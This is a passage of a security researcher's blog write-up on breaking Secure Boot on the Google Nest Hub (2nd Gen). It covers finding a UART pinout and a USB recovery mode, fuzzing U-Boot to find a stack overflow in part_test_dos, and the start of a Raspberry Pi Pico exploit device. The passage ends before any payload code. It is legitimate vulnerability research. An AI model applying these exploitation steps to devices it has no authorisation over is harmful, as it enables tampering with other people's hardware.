fred's noteshttps://fredericb.info/2022-06-15T00:00:00-07:00Security & StuffBreaking Secure Boot on Google Nest Hub (2nd Gen) to run Ubuntu2022-06-15T00:00:00-07:002022-06-15T00:00:00-07:00Frédérictag:fredericb.info,2022-06-15:/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html<p>In this post, we attack the Nest Hub (2nd Gen), an always-connected smart home display from Google, in order to boot a custom OS.</p>
<p>First, we explore both hardware and software attack surface in search of security vulnerabilities that could permit arbitrary code execution on the device.</p>
<p>Then, using a …</p><p>In this post, we attack the Nest Hub (2nd Gen), an always-connected smart home display from Google, in order to boot a custom OS.</p>
<p>First, we explore both hardware and software attack surface in search of security vulnerabilities that could permit arbitrary code execution on the device.</p>
<p>Then, using a <a href="proxy.php?url=https://www.raspberrypi.com/products/raspberry-pi-pico/">Raspberry Pi Pico microcontroller</a>, we exploit an USB bug in the bootloader to break the secure boot chain.</p>
<p>Finally, we build new bootloader and kernel images to boot a custom OS from an external flash drive.</p>
<p><img alt="Booting Ubuntu on Google Nest Hub (2nd Gen) using CHIPICOPWN" src="proxy.php?url=https://fredericb.info/blog/elaine/chipicopwn.gif" style="display: block;margin-left: auto;margin-right: auto;"></p>
<h1>Disclaimer</h1>
<p>You are solely responsible for any damage caused to your hardware/software/keys/DRM licences/warranty/data/cat/etc...</p>
<h1>1. Hardware exploration</h1>
<h2>Virtual tour</h2>
<p>Overviews of internal hardware published on <a href="proxy.php?url=https://fccid.io/A4RGUIK2/Internal-Photos/Internal-Photos-20200702-v1-Internal-Photos-5035937">FFC ID website</a> and <a href="proxy.php?url=https://electronics360.globalspec.com/article/17053/teardown-google-nest-hub-2nd-gen">Electronics360</a> indicate the device is based on Amlogic S905D3G SoC.</p>
<p><img alt="External photo from FCC.IO" src="proxy.php?url=https://fredericb.info/blog/elaine/elaine.usb.port.png" style="display: block;margin-left: auto;margin-right: auto;" width="800px"></p>
<p>They also reveal the existence of one USB port hidden underneath the device. Not a feature for users, so a priority for us. Especially since we already <a href="proxy.php?url=https://fredericb.info/2021/02/amlogic-usbdl-unsigned-code-loader-for-amlogic-bootrom.html">discovered and exploited an USB vulnerability in the same chipset</a>.</p>
<p>Good enough, let's buy one. The oldest one, always... Conveniently, manufacturing date is on box : December 2020.</p>
<h2>Nice try but no</h2>
<p>The first thing to check once we have the device in hands is if the <a href="proxy.php?url=https://fredericb.info/2021/02/amlogic-usbdl-unsigned-code-loader-for-amlogic-bootrom.html">known USB vulnerability</a> has been fixed. Doing so requires to boot the SoC in USB Download mode by holding a combination of buttons. After trying few random combinations, a new USB device is detected by our host, which indicates we found the right combination : Volume UP + Volume DOWN. We can then try to use the exploitation tool <a href="proxy.php?url=https://github.com/frederic/amlogic-usbdl">amlogic-usbdl</a>.</p>
<p>Unfortunately (for us), the tool detects that the device is password-protected, so we can't exploit this bug.</p>
<p>However, while attempting to trigger USB Download mode, we noticed few other button combinations that prevent the device to fully boot (stuck on boot logo).
We keep that in mind since a boot flow change can also mean attack surface change.</p>
<h2>Mysterious wires</h2>
<p>After looking closely at the USB port, we notice that both USB and power supply connectors are on a separate module, which is connected to the main board via a 16-pin <a href="proxy.php?url=https://en.wikipedia.org/wiki/Flexible_flat_cable">Flexible Flat Cable (FFC)</a>.</p>
<p><img alt="USB/DC board" src="proxy.php?url=https://fredericb.info/blog/elaine/elaine.USB-DC.board.png" style="display: block;margin-left: auto;margin-right: auto;" width="800px"></p>
<p>That's a lot of wires for only one micro-USB 2.0 (5 pins) & one power supply (2 pins).</p>
<p>Such flat cable, accessible without dissassembly and offering extra wires (apparently) unused, evokes a hidden cability to connect a <em>developer</em> board with additionnal interfaces (UART ? JTAG ? SDCARD ?) for development or repair purposes.</p>
<p>In order to uncover potential other interfaces, we first identify the pins associated with USB and power supply using a multimeter :</p>
<ul>
<li>Power supply connector to FFC : 11 pins! ouch...</li>
<li>USB connector to FFC : 3 pins (No USB +5V)</li>
</ul>
<p>With 14 pins identified, only 2 are left.</p>
<p>The voltage measured on these 2 pins during boot is constant near-0V for the first one, and fluctuating between 0V and 3.3V for the second. This pattern matches an UART port.</p>
<p>We now have the complete pinout of the flexible flat cable :</p>
<table>
<thead>
<tr>
<th>PIN</th>
<th>FUNCTION</th>
<th>PIN</th>
<th>FUNCTION</th>
<th>PIN</th>
<th>FUNCTION</th>
<th>PIN</th>
<th>FUNCTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>GND</td>
<td>5</td>
<td>GND</td>
<td>9</td>
<td>VCC</td>
<td>13</td>
<td>USB-D-</td>
</tr>
<tr>
<td>2</td>
<td>GND</td>
<td>6</td>
<td>VCC</td>
<td>10</td>
<td>VCC</td>
<td>14</td>
<td>USB-D+</td>
</tr>
<tr>
<td>3</td>
<td>UART-TX</td>
<td>7</td>
<td>VCC</td>
<td>11</td>
<td>VCC</td>
<td>15</td>
<td>GND</td>
</tr>
<tr>
<td>4</td>
<td>UART-RX</td>
<td>8</td>
<td>VCC</td>
<td>12</td>
<td>GND</td>
<td>16</td>
<td>USB-ID</td>
</tr>
</tbody>
</table>
<h2>DIY debug board</h2>
<p>We take advantage of the accessible FFC to connect a breakout board with the right FCC connector : 16-pin, 0.5mm pitch.</p>
<p>Several options exist:</p>
<ul>
<li>Presoldered <a href="proxy.php?url=https://www.aliexpress.com/item/32923333053.html">16-pin 0.5mm FFC board</a> : hard to find except in China.</li>
<li>Presoldered 0.5mm FFC board with more pins (i.e <a href="proxy.php?url=https://smile.amazon.com/gp/product/B07RWMSVNH">24-pin</a>) : very dangerous if connections are shifted.</li>
<li>Solder the <a href="proxy.php?url=https://www.digikey.com/en/products/detail/molex/0528921633/4444660">right connector</a> on a <a href="proxy.php?url=https://tinkersphere.com/cables-wires/3643-16-pin-05mm-1mm-pitch-fpc-to-dip-breakout.html">breakout board</a> : the solution we opted for.</li>
</ul>
<p><img alt="16 Pin 0.5mm & 1mm pitch FPC to DIP Breakout" src="proxy.php?url=https://fredericb.info/blog/elaine/board.FPC.16P_0.5mm.png" style="display: block;margin-left: auto;margin-right: auto;" width="800px"></p>
<p><img alt="DIY debug board for Google Nest Hub" src="proxy.php?url=https://fredericb.info/blog/elaine/elaine.debug.board.png" style="display: block;margin-left: auto;margin-right: auto;" width="800px"></p>
<p>This board provides a convenient access to UART, USB and power supply.</p>
<h2>UART port</h2>
<p>Using our debug board, we connect an USB-to-Serial adapter to the UART port to obtain logs during boot :</p>
<div class="highlight"><pre><span></span>SM1:BL:511f6b:81ca2f<span class="p">;</span>FEAT:A28821B2:202B3000<span class="p">;</span>POC:F<span class="p">;</span>EMMC:0<span class="p">;</span>READ:0<span class="p">;</span>CHK:1F<span class="p">;</span>READ:0<span class="p">;</span><span class="m">0</span>.0<span class="p">;</span><span class="m">0</span>.0<span class="p">;</span>CHK:0<span class="p">;</span>
bl2_stage_init 0x01
<span class="o">[</span>...<span class="o">]</span>
BL2 Built : <span class="m">20</span>:46:51, Dec <span class="m">10</span> <span class="m">2020</span>. <span class="se">\n</span>g12a g3d61890 - user@host
<span class="o">[</span>...<span class="o">]</span>
U-Boot <span class="m">2019</span>.01-gbfc19012ea-dirty <span class="o">(</span>Dec <span class="m">11</span> <span class="m">2020</span> - <span class="m">04</span>:19:32 <span class="o">)</span>
DRAM: <span class="m">2</span> GiB
board init
<span class="o">[</span>...<span class="o">]</span>
MUTE engaged
VOL_UP not pressed
upgrade key not pressed
reboot_mode:cold_boot
cold_boot
aml log : boot from nand or emmc
Kernel decrypted
kernel verify: success
<span class="o">[</span>...<span class="o">]</span>
Starting kernel ...
</pre></div>
<p>We can see bootloader and U-Boot logs, kernel image seems encrypted, but
no more logs once Linux has started though.</p>
<p>We also see that button states are checked ("MUTE engaged", "VOL_UP not pressed"), and that "upgrade key not pressed".
This is really intriguing since any new feature we discover could represent a new attack surface.</p>
<p>We try to boot again, this time while holding both volume buttons (volume down & volume up) :</p>
<div class="highlight"><pre><span></span><span class="o">[</span>...<span class="o">]</span>
U-Boot <span class="m">2019</span>.01-gbfc19012ea-dirty <span class="o">(</span>Dec <span class="m">11</span> <span class="m">2020</span> - <span class="m">04</span>:19:32 <span class="o">)</span>
<span class="o">[</span>...<span class="o">]</span>
MUTE engaged
VOL_UP pressed
VOL_DN pressed
detect VOL_UP pressed
VOL_DN pressed
resetting USB...
USB0: Register <span class="m">3000140</span> NbrPorts <span class="m">2</span>
Starting the controller
USB XHCI <span class="m">1</span>.10
scanning bus <span class="m">0</span> <span class="k">for</span> devices... <span class="m">3</span> USB Device<span class="o">(</span>s<span class="o">)</span> found
scanning usb <span class="k">for</span> storage devices... <span class="m">2</span> Storage Device<span class="o">(</span>s<span class="o">)</span> found
** Unable to <span class="nb">read</span> file recovery.img **
resetting USB...
</pre></div>
<p>When booted this way, the Nest Hub tries to load a file named <em>recovery.img</em> from an USB flash drive. Attack surface just increased.</p>
<h1>2. Software exploration</h1>
<p>While official firmware images for Nest Hub are not publicly available, the <a href="proxy.php?url=https://drive.google.com/file/d/1euEvmbInWddUFAhMhHe628WAnpdYpGIa/view?usp=sharing">source code for the bootloader (U-Boot) and the kernel (Linux) has been released by Google</a> thanks to the GPL license.</p>
<h2>Mysterious USB recovery feature</h2>
<p>We start by investigating the recovery mechanism we spotted earlier as it happens to be interesting for several reasons:</p>
<ul>
<li>Implemented in U-Boot so open source : easy to study.</li>
<li>Apparently meant to run a recovery boot image : exactly what we want to achieve, but is it signed ?</li>
<li>A lot of code involved : USB, Mass Storage device, partition table, filesystem, boot image parsing, boot image signature verification (if any). Bugs in these layers could lead to arbitrary code execution.</li>
<li>Data is loaded from external USB source : no need to disassemble the device.</li>
</ul>
<p>To quickly locate this feature in U-Boot source tree, we grep <em>recovery.img</em>. We find a function named <strong>recovery_from_udisk</strong> in U-Boot environment :</p>
<div class="highlight"><pre><span></span><span class="s2">"recovery_from_udisk="</span> <span class="se">\</span>
<span class="s2">"while true ;do "</span> <span class="se">\</span>
<span class="s2">"usb reset; "</span> <span class="se">\</span>
<span class="s2">"if fatload usb 0 </span><span class="si">${</span><span class="nv">loadaddr</span><span class="si">}</span><span class="s2"> recovery.img; then "</span><span class="se">\</span>
<span class="s2">"bootm </span><span class="si">${</span><span class="nv">loadaddr</span><span class="si">}</span><span class="s2">;"</span> <span class="se">\</span>
<span class="s2">"fi;"</span> <span class="se">\</span>
<span class="s2">"done;"</span> <span class="se">\</span>
<span class="s2">"\0"</span> <span class="se">\</span>
</pre></div>
<p>First, this code resets the USB subsystem. Then, it calls the <strong>fatload</strong> function to load a boot image named <em>recovery.img</em> in memory at address <em>loadaddr</em>.
Finally, it tries to boot the loaded data using function <strong>bootm</strong>.</p>
<p>We can also confirm that function <strong>recovery_from_udisk</strong> is run when both volume buttons are held (GPIOZ_5 & GPIOZ_6) :</p>
<div class="highlight"><pre><span></span><span class="s2">"upgrade_key="</span> <span class="se">\</span>
<span class="s2">"if gpio input GPIOZ_5; then "</span> <span class="se">\</span>
<span class="s2">"echo detect VOL_UP pressed;"</span> <span class="se">\</span>
<span class="s2">"if gpio input GPIOZ_6; then "</span> <span class="se">\</span>
<span class="s2">"echo VOL_DN pressed;"</span> <span class="se">\</span>
<span class="s2">"setenv boot_external_image 1;"</span> <span class="se">\</span>
<span class="s2">"run recovery_from_udisk;"</span> <span class="se">\</span>
<span class="o">[</span>...<span class="o">]</span>
</pre></div>
<p>This recovery feature is an ideal mechanism to boot an alternative OS. However, a quick look at <strong>bootm</strong> function reveals it systematically verifies <em>recovery.img</em> signature by calling function <strong>aml_sec_boot_check</strong>.</p>
<p>To boot a custom OS using this mechanism, we first have to find a bug that could bypass this verification.</p>
<h2>Bug hunt</h2>
<p>The recovery feature enables USB interface as an attack vector.
As a result, any code that processes data coming from USB interface becomes a potential (software) attack surface.</p>
<p>This attack surface can be roughly estimated by exploring the call flow triggered by the recovery feature :</p>
<p><img alt="USB Mass Sstorage attack surface in U-Boot" src="proxy.php?url=https://fredericb.info/blog/elaine/uboot-cfg.png" style="display: block;margin-left: auto;margin-right: auto;" width="600px"></p>
<ul>
<li><strong>usb reset</strong> exposes the USB driver when it performs USB enumeration.</li>
<li><strong>fatload</strong> exposes several drivers : USB, Mass Storage, DOS partition, FAT filesystem.</li>
<li><strong>bootm</strong> attack surface is very limited since it starts by calling the signature verification routine <strong>aml_sec_boot_check</strong>, which cannot be reviewed because it's implemented in TrustZone (no source code or binary available at this moment).</li>
</ul>
<p>The attack surface exposed by <strong>fatload</strong> command is obviously the most interesting target due to the amount of code involved and its complexity.</p>
<p>While <a href="proxy.php?url=https://forallsecure.com/blog/forallsecure-uncovers-critical-vulnerabilities-in-das-u-boot">previous research</a> found issues in <a href="proxy.php?url=https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13103">DOS partition parser</a> and <a href="proxy.php?url=https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13104">EXT4</a> <a href="proxy.php?url=https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13105">filesystem</a> <a href="proxy.php?url=https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13106">parser</a>, we could not find public evidence of vulnerabilty research on U-Boot FAT filesystem, which makes it an ideal target to begin with.</p>
<p>U-Boot implements a <em>sandbox</em> architecture that allows it to run as a Linux user-space application. This feature is a convenient starting point to build a fuzzer for U-Boot code.</p>
<p>We build a fuzzing harness that injects data in <strong>blk_dread</strong> (function that reads data from a block device), and triggers execution by calling <strong>fat_read_file</strong>. The harness must also initialize the state that is expected by these functions : USB enumeration done, block device detected, partitions have been parsed (in real conditions, this initialization would have been performed by <strong>fs_set_blk_dev</strong>). Fuzzing is performed by <a href="proxy.php?url=https://github.com/google/AFL">AFL</a> and <a href="proxy.php?url=https://llvm.org/docs/LibFuzzer.html">libFuzzer</a>.
This first fuzzing attempt uncovered few <a href="proxy.php?url=https://en.wikipedia.org/wiki/Circular_reference">circular reference</a> issues in FAT cluster chains that caused the code to loop indefinitely. While being painful to fix, they're not the kind of bugs we're looking for.</p>
<p>In a second phase, we extend the fuzzing to the initialized state since some parameters can be controlled by the attacker. For example, the USB Mass Storage driver sets <a href="proxy.php?url=https://github.com/u-boot/u-boot/blob/28c2ebef372b4c9bb18bed8373e0d9e65a09b42b/common/usb_storage.c#L1421">multiple parameters</a> in <a href="proxy.php?url=https://github.com/u-boot/u-boot/blob/28c2ebef372b4c9bb18bed8373e0d9e65a09b42b/include/blk.h#L67">structure blk_desc</a> that describe the detected block device in initialized state.</p>
<p>One of them is the block size (<em>blk_desc.blksz</em>) of the block device (which is an USB flash drive in our case). This value is obtained from the block device by sending command <a href="proxy.php?url=https://github.com/u-boot/u-boot/blob/28c2ebef372b4c9bb18bed8373e0d9e65a09b42b/common/usb_storage.c#L1051">READ CAPACITY</a>, which means attacker controls it.</p>
<p>Block size is an important parameter for upper layers like partition and filesystem drivers. Messing with it led to an interesting crash :</p>
<div class="highlight"><pre><span></span><span class="err">$</span> <span class="p">.</span><span class="o">/</span><span class="n">fuzz</span>
<span class="nl">INFO</span><span class="p">:</span> <span class="nl">Seed</span><span class="p">:</span> <span class="mi">473398954</span>
<span class="nl">INFO</span><span class="p">:</span> <span class="n">Loaded</span> <span class="mi">1</span> <span class="n">modules</span> <span class="p">(</span><span class="mi">1402</span> <span class="kr">inline</span> <span class="mi">8</span><span class="o">-</span><span class="n">bit</span> <span class="n">counters</span><span class="p">)</span><span class="o">:</span> <span class="mi">1402</span> <span class="p">[</span><span class="mh">0x5aa0c0</span><span class="p">,</span> <span class="mh">0x5aa63a</span><span class="p">),</span>
<span class="nl">INFO</span><span class="p">:</span> <span class="n">Loaded</span> <span class="mi">1</span> <span class="n">PC</span> <span class="n">tables</span> <span class="p">(</span><span class="mi">1402</span> <span class="n">PCs</span><span class="p">)</span><span class="o">:</span> <span class="mi">1402</span> <span class="p">[</span><span class="mh">0x57ada0</span><span class="p">,</span><span class="mh">0x580540</span><span class="p">),</span>
<span class="o">=================================================================</span>
<span class="o">==</span><span class="mi">5892</span><span class="o">==</span><span class="nl">ERROR</span><span class="p">:</span> <span class="nl">AddressSanitizer</span><span class="p">:</span> <span class="n">stack</span><span class="o">-</span><span class="n">buffer</span><span class="o">-</span><span class="n">overflow</span> <span class="n">on</span> <span class="n">address</span> <span class="mh">0x7ffe6db4bb3f</span> <span class="n">at</span> <span class="n">pc</span> <span class="mh">0x0000004f16af</span> <span class="n">bp</span> <span class="mh">0x7ffe6db4b790</span> <span class="n">sp</span> <span class="mh">0x7ffe6db4af40</span>
<span class="n">WRITE</span> <span class="n">of</span> <span class="n">size</span> <span class="mi">32768</span> <span class="n">at</span> <span class="mh">0x7ffe6db4bb3f</span> <span class="kr">thread</span> <span class="n">T0</span>
<span class="cp">#0 0x4f16ae in __asan_memset (/u-boot-elaine/fuzzer/fuzz+0x4f16ae)</span>
<span class="cp">#1 0x55a8cf in blk_dread /u-boot-elaine/fuzzer/blk.c:153:13</span>
<span class="cp">#2 0x5284b1 in part_test_dos /u-boot-elaine/disk/part_dos.c:96:6</span>
<span class="cp">#3 0x521f52 in part_init /u-boot-elaine/disk/part.c:242:9</span>
<span class="cp">#4 0x55b494 in usb_stor_probe_device /u-boot-elaine/fuzzer/usb_storage.c:41:5</span>
<span class="cp">#5 0x55b648 in LLVMFuzzerTestOneInput /u-boot-elaine/fuzzer/fuzz.c:42:5</span>
<span class="cp">#6 0x42ee1a in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/u-boot-elaine/fuzzer/fuzz+0x42ee1a)</span>
<span class="cp">#7 0x43052a in fuzzer::Fuzzer::ReadAndExecuteSeedCorpora(std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > const&) (/u-boot-elaine/fuzzer/fuzz+0x43052a)</span>
<span class="cp">#8 0x430bf5 in fuzzer::Fuzzer::Loop(std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > const&) (/u-boot-elaine/fuzzer/fuzz+0x430bf5)</span>
<span class="cp">#9 0x426e00 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/u-boot-elaine/fuzzer/fuzz+0x426e00)</span>
<span class="cp">#10 0x44a412 in main (/u-boot-elaine/fuzzer/fuzz+0x44a412)</span>
<span class="cp">#11 0x7b733912f09a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2409a)</span>
<span class="cp">#12 0x420919 in _start (/u-boot-elaine/fuzzer/fuzz+0x420919)</span>
<span class="n">Address</span> <span class="mh">0x7ffe6db4bb3f</span> <span class="n">is</span> <span class="n">located</span> <span class="n">in</span> <span class="n">stack</span> <span class="n">of</span> <span class="kr">thread</span> <span class="n">T0</span> <span class="n">at</span> <span class="n">offset</span> <span class="mi">607</span> <span class="n">in</span> <span class="n">frame</span>
<span class="cp">#0 0x5282ff in part_test_dos /u-boot-elaine/disk/part_dos.c:90</span>
<span class="n">This</span> <span class="n">frame</span> <span class="n">has</span> <span class="mi">1</span> <span class="n">object</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="o">:</span>
<span class="p">[</span><span class="mi">32</span><span class="p">,</span> <span class="mi">607</span><span class="p">)</span> <span class="err">'</span><span class="n">__mbr</span><span class="err">'</span> <span class="p">(</span><span class="n">line</span> <span class="mi">92</span><span class="p">)</span> <span class="o"><==</span> <span class="n">Memory</span> <span class="n">access</span> <span class="n">at</span> <span class="n">offset</span> <span class="mi">607</span> <span class="n">overflows</span> <span class="n">this</span> <span class="n">variable</span>
</pre></div>
<p>AddressSanitizer detected a stack buffer overflow in <strong>part_test_dos</strong>. This function is called to detect a DOS partition table when an USB Mass Storage device is connected.</p>
<p>It is interesting to note that, while the crash occurs in DOS partition layer, the invalid size at the origin of the crash is set by the USB Mass Storage layer. This suggests that it is unlikely to find this bug if layers are fuzzed independently.</p>
<h2>U-Boot stack overflow</h2>
<p>The crash is caused by a simple bug in function <strong>part_test_dos</strong> :</p>
<div class="highlight"><pre><span></span><span class="k">static</span> <span class="kt">int</span> <span class="nf">part_test_dos</span><span class="p">(</span><span class="k">struct</span> <span class="n">blk_desc</span> <span class="o">*</span><span class="n">dev_desc</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">[...]</span>
<span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">ALLOC_CACHE_ALIGN_BUFFER</span><span class="p">(</span><span class="n">legacy_mbr</span><span class="p">,</span> <span class="n">mbr</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="k">if</span> <span class="p">(</span><span class="n">blk_dread</span><span class="p">(</span><span class="n">dev_desc</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="p">(</span><span class="n">ulong</span> <span class="o">*</span><span class="p">)</span><span class="n">mbr</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span>
</pre></div>
<ol>
<li>Buffer <em>mbr</em> of 512 bytes (<strong>sizeof</strong>(<em>legacy_mbr</em>)) is allocated on the stack.</li>
<li>Function <strong>blk_dread</strong> reads 1 block at address 0 from block device <em>dev_desc</em> and writes data to buffer <em>mbr</em>. </li>
</ol>
<p>If block size (<em>dev_desc->blksz</em>) is larger than 512, function <strong>blk_dread</strong> overflows buffer <em>mbr</em>.</p>
<p>As said before, block size can be controlled by attacker. But in practice, most USB flash drives have a block size of 512 bytes, and it cannot be customized easily. Let's build one instead.</p>
<h1>3. Exploitation device : CHIPICOPWN</h1>
<p>In order to exploit this bug in the Nest Hub bootloader, we need an USB Mass Storage device that supports larger-than-usual block size. One solution could be based on the <a href="proxy.php?url=https://www.kernel.org/doc/html/latest/usb/mass-storage.html">Mass Storage Gadget from Linux USB Gadget framework</a> with an USB OTG-enabled host (e.g. <a href="proxy.php?url=https://www.khadas.com/vim3l">VIM3L SBC</a> we used to <a href="proxy.php?url=https://fredericb.info/2021/02/dump-amlogic-s905d3-bootrom-from-khadas-vim3l-board.html">dump the S905D3 bootROM</a>. But there's a cheaper option.</p>
<p><a href="proxy.php?url=https://www.raspberrypi.com/products/raspberry-pi-pico/">Raspberry Pi Pico</a> is a $4 microcontroller with USB Device support. It also has the great advantage of being supported by <a href="proxy.php?url=https://github.com/hathach/tinyusb">TinyUSB, an open-source cross-platform USB Host/Device stack</a>.</p>
<p><img alt="Raspberry Pi Pico board" src="proxy.php?url=https://fredericb.info/blog/elaine/rpi-pico-board-front.png" style="display: block;margin-left: auto;margin-right: auto;" width="600px"></p>
<p>TinyUSB project provides a <a href="proxy.php?url=https://github.com/hathach/tinyusb/tree/master/examples/device/cdc_msc">Mass Storage device example code</a> that can turn a Raspberry Pi Pico into a customizable USB flash drive. From this starting point, we can build an exploitation device that will :</p>
<ul>
<li>inject payload into stack memory</li>
<li>overwrite return address to execute payload</li>
<li>display a cool logo</li>
</ul>
<p>However, due to the <em>black-box</em> approach (no access to firmware), we still miss important information to develop the exploit. We'll go through several steps to collect all the information required to craft our final payload.</p>
<h2>3.1 Proof-of-Crash</h2>
<p>We start by verifying if the device is actually vulnerable to the bug. Using the <a href="proxy.php?url=https://github.com/hathach/tinyusb/tree/4bfab30c02279a0530e1a56f4a7c539f2d35a293/examples/device/cdc_msc">Mass Storage device example code</a> as starting point, we <a href="proxy.php?url=https://github.com/frederic/chipicopwn/commit/c576f382b6ada027aab592ede525db1405f79cf4">change the block size to 1024 instead of 512</a> to confirm if we observe a crash.</p>
<p>When connected to our host, the Raspberry Pi Pico is now detected as Mass Storage with <em>"1024-byte logical blocks"</em> :</p>
<div class="highlight"><pre><span></span>usb <span class="m">1</span>-2: New USB device found, <span class="nv">idVendor</span><span class="o">=</span>cafe, <span class="nv">idProduct</span><span class="o">=</span><span class="m">4003</span>, <span class="nv">bcdDevice</span><span class="o">=</span> <span class="m">1</span>.00
usb <span class="m">1</span>-2: New USB device strings: <span class="nv">Mfr</span><span class="o">=</span><span class="m">1</span>, <span class="nv">Product</span><span class="o">=</span><span class="m">2</span>, <span class="nv">SerialNumber</span><span class="o">=</span><span class="m">3</span>
usb <span class="m">1</span>-2: Product: TinyUSB Device
usb <span class="m">1</span>-2: Manufacturer: TinyUSB
usb <span class="m">1</span>-2: SerialNumber: <span class="m">123456789012</span>
usb-storage <span class="m">1</span>-2:1.0: USB Mass Storage device detected
scsi host0: usb-storage <span class="m">1</span>-2:1.0
scsi host0: scsi scan: INQUIRY result too short <span class="o">(</span><span class="m">5</span><span class="o">)</span>, using <span class="m">36</span>
scsi <span class="m">0</span>:0:0:0: Direct-Access TinyUSB Mass Storage <span class="m">1</span>.0 PQ: <span class="m">0</span> ANSI: <span class="m">2</span>
sd <span class="m">0</span>:0:0:0: Attached scsi generic sg0 <span class="nb">type</span> <span class="m">0</span>
sd <span class="m">0</span>:0:0:0: <span class="o">[</span>sda<span class="o">]</span> <span class="m">16</span> <span class="m">1024</span>-byte logical blocks: <span class="o">(</span><span class="m">16</span>.4 kB/16.0 KiB<span class="o">)</span>
sd <span class="m">0</span>:0:0:0: <span class="o">[</span>sda<span class="o">]</span> Write Protect is off
sd <span class="m">0</span>:0:0:0: <span class="o">[</span>sda<span class="o">]</span> Mode Sense: <span class="m">03</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span>
sd <span class="m">0</span>:0:0:0: <span class="o">[</span>sda<span class="o">]</span> No Caching mode page found
sd <span class="m">0</span>:0:0:0: <span class="o">[</span>sda<span class="o">]</span> Assuming drive cache: write through
sda:
sd <span class="m">0</span>:0:0:0: <span class="o">[</span>sda<span class="o">]</span> Attached SCSI removable disk
</pre></div>
<p>When connected to the device booted in recovery mode, the Pico causes an exception, and registers are dumped over UART :</p>
<div class="highlight"><pre><span></span><span class="s">"Synchronous Abort"</span> <span class="n">handler</span><span class="p">,</span> <span class="n">esr</span> <span class="mh">0x02000000</span>
<span class="nl">elr</span><span class="p">:</span> <span class="n">ffffffff8110e000</span> <span class="nl">lr</span> <span class="p">:</span> <span class="n">ffffffff8110e000</span> <span class="p">(</span><span class="n">reloc</span><span class="p">)</span>
<span class="nl">elr</span><span class="p">:</span> <span class="mo">0000000000000000</span> <span class="nl">lr</span> <span class="p">:</span> <span class="mo">0000000000000000</span>
<span class="nl">x0</span> <span class="p">:</span> <span class="mo">0000000000000002</span> <span class="nl">x1</span> <span class="p">:</span> <span class="mo">0000000000000000</span>
<span class="nl">x2</span> <span class="p">:</span> <span class="mo">0000000000000000</span> <span class="nl">x3</span> <span class="p">:</span> <span class="mo">0000000000000000</span>
<span class="nl">x4</span> <span class="p">:</span> <span class="mo">000000007</span><span class="n">bed5b00</span> <span class="nl">x5</span> <span class="p">:</span> <span class="n">fffffffffffffff8</span>
<span class="nl">x6</span> <span class="p">:</span> <span class="mo">0000000000000000</span> <span class="nl">x7</span> <span class="p">:</span> <span class="mo">0000000000000000</span>
<span class="nl">x8</span> <span class="p">:</span> <span class="mo">0000000000000001</span> <span class="nl">x9</span> <span class="p">:</span> <span class="mo">000000000000000</span><span class="mi">8</span>
<span class="nl">x10</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c0021b0</span> <span class="nl">x11</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c009b80</span>
<span class="nl">x12</span><span class="p">:</span> <span class="mo">0000000000000001</span> <span class="nl">x13</span><span class="p">:</span> <span class="mo">0000000000000001</span>
<span class="nl">x14</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">bed5c4c</span> <span class="nl">x15</span><span class="p">:</span> <span class="mf">00000000ff</span><span class="n">ffffff</span>
<span class="nl">x16</span><span class="p">:</span> <span class="mo">0000000000004060</span> <span class="nl">x17</span><span class="p">:</span> <span class="mo">00000000000000</span><span class="mi">84</span>
<span class="nl">x18</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">bee1dc8</span> <span class="nl">x19</span><span class="p">:</span> <span class="mo">0000000000000000</span>
<span class="nl">x20</span><span class="p">:</span> <span class="mo">0000000000000000</span> <span class="nl">x21</span><span class="p">:</span> <span class="mo">0000000000000000</span>
<span class="nl">x22</span><span class="p">:</span> <span class="mo">000000000000002</span><span class="n">a</span> <span class="nl">x23</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c008490</span>
<span class="nl">x24</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c008490</span> <span class="nl">x25</span><span class="p">:</span> <span class="mf">000000007ff</span><span class="n">dcd80</span>
<span class="nl">x26</span><span class="p">:</span> <span class="mo">0000000000000000</span> <span class="nl">x27</span><span class="p">:</span> <span class="mo">0000000000000000</span>
<span class="nl">x28</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c009ac0</span> <span class="nl">x29</span><span class="p">:</span> <span class="mo">0000000000000000</span>
<span class="n">Resetting</span> <span class="n">CPU</span> <span class="p">...</span>
</pre></div>
<p>This indicates with great certainty that the device is vulnerable to our bug. Register values will be very helpful to develop the exploit. Unfortunately, <em>sp</em> register value is missing, so we'll have to do extra work to locate our payload in the stack. Still, we have obtained the global data pointer <em>gd</em> which is <a href="proxy.php?url=https://u-boot.readthedocs.io/en/latest/develop/global_data.html">stored in register <em>x18</em></a>. And we can learn from U-Boot source code that stack top is located below <em>gd</em>.</p>
<h2>3.2 Offset of payload address</h2>
